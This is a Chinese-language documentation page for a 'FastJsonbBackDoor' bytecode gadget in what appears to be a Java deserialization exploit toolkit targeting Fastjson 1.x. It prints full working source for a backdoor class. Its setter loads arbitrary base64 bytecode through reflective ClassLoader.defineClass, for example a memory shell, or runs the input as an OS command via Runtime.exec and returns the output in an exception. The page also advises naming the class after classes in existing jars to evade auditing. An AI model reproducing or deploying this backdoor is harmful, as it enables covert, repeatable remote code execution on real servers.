- 类别:bytecode 别名:— 优先级:15
- 作者:—
- 依赖:无(目标侧需存在 Fastjson 1.x)
生成一个带 Fastjson @JSONType 注解的「后门类」字节码:该类暴露 setCodez(String) setter,Fastjson 1.x 反序列化时会自动调用它,实现「传入 code 即执行命令 / 加载任意类」。它是链尾的字节码 sink(byte[] 产物),需经 BytecodeConvert 等转换器装入 TemplatesImpl 或其它字节码加载点后交给 Payload 序列化。
- 入口
tags:Bytecode、END——Bytecode表示本 gadget 承接上一环「字节码转换器」(其nextTags含Bytecode,如 BytecodeConvert);END表示它是链的最内层终点,不再向下衔接。 - 衔接
nextTags:空 —— 终端 sink,invoke中chain.doCreate(context)之后不再包裹内层对象。 excludes:无。
gadget 本体极简,只负责把模板类编译成字节码:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(FastJsonbBackDoorBytecode.class);
return javassistHelper.getBytecode(); // 直接读取模板类的 class 字节
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END gadget:内层为空,仅走流程
return this.getObject();
}JavassistHelper 用 Javassist 把 FastJsonbBackDoorBytecode 这个已编译类读回为 byte[](不做字段改写,故本 gadget 无 @Param)。真正的恶意逻辑全在模板类里:
@JSONType
public class FastJsonbBackDoorBytecode {
public void setCodez(String codez) throws Exception {
try {
Class.forName("java.util.Base64");
byte[] decode = Base64.getDecoder().decode(codez);
FastJsonbBackDoorBytecode.defineclass(decode); // 优先:把 codez 当 base64 字节码加载
} catch (Exception e) {
// 回退:把 codez 当系统命令执行
String[] cmds = os.contains("window")
? new String[]{"cmd.exe","/c",codez}
: new String[]{"/bin/sh","-c",codez};
InputStream is = Runtime.getRuntime().exec(cmds).getInputStream();
String next = new Scanner(is).useDelimiter("\\A").next();
throw new Exception(next); // 命令回显借异常带出
}
}
public static void defineclass(byte[] decode) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class invoke = (Class) defineClass.invoke(
Thread.currentThread().getContextClassLoader(), decode, 0, decode.length);
invoke.newInstance(); // 加载并实例化任意类
}
}关键点:
- 类上的
@JSONType与 public settersetCodez使其成为 Fastjson 1.x 可反序列化目标——攻击者只要把该类种入目标(作为可加载的 class),后续用一段普通 JSON{"@type":"<自定义类名>","codez":"..."}即可反复触发,无需再走复杂 gadget 链。 setCodez双分支:codez先按 base64 字节码走反射ClassLoader.defineClass定义并newInstance任意类(隐蔽、可加载内存马);解码/加载失败则回退为Runtime.exec直接执行命令,命令输出通过throw new Exception(next)带回给调用方。
本类无 @Param。
| 项 | 说明 |
|---|---|
| 类名 | 建议在工具界面自定义,伪装成依赖内既有 jar 的类名(如 nashorn.jar、dnsns.jar 中的类)以规避审计 |
codez |
后门被触发时由 Fastjson 请求体提供,不在本 gadget 配置 |
- 面向 Fastjson 1.x 全版本:不依赖具体反序列化 gadget,而是投放一个「自身即后门」的类,之后用最朴素的
@type指定它 +codez属性完成 RCE。 - description 提示:配合 asciijar 场景把类名改成 JDK/依赖内既有 jar 中的类名,可提升隐蔽性。参见作者引用的公开分析(flowerwind 博客「分享一次组合漏洞挖掘拿下目标」)。
- 作为
byte[]sink,本身不含加载逻辑,须由上游转换器(BytecodeConvert→TemplatesImpl.defineClass,或 BCEL / 文件落地等)触发被加载。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。典型用法:[BytecodeConvert, FastJsonbBackDoor] 或装入任意可加载字节码的 sink。
- 上游(承接
Bytecode标签):BytecodeConvert(把byte[]装入TemplatesImpl)。 - 同族字节码投放:BytecodeFromBase64、BytecodeFromHex、BytecodeFromUploadFile、FileSteamFromUploadFile(后者从本地/上传文件读入自定义字节码)。
- 效果对照:命令执行 sink Exec;本 gadget 特点是「一次投放、多次触发」的后门语义。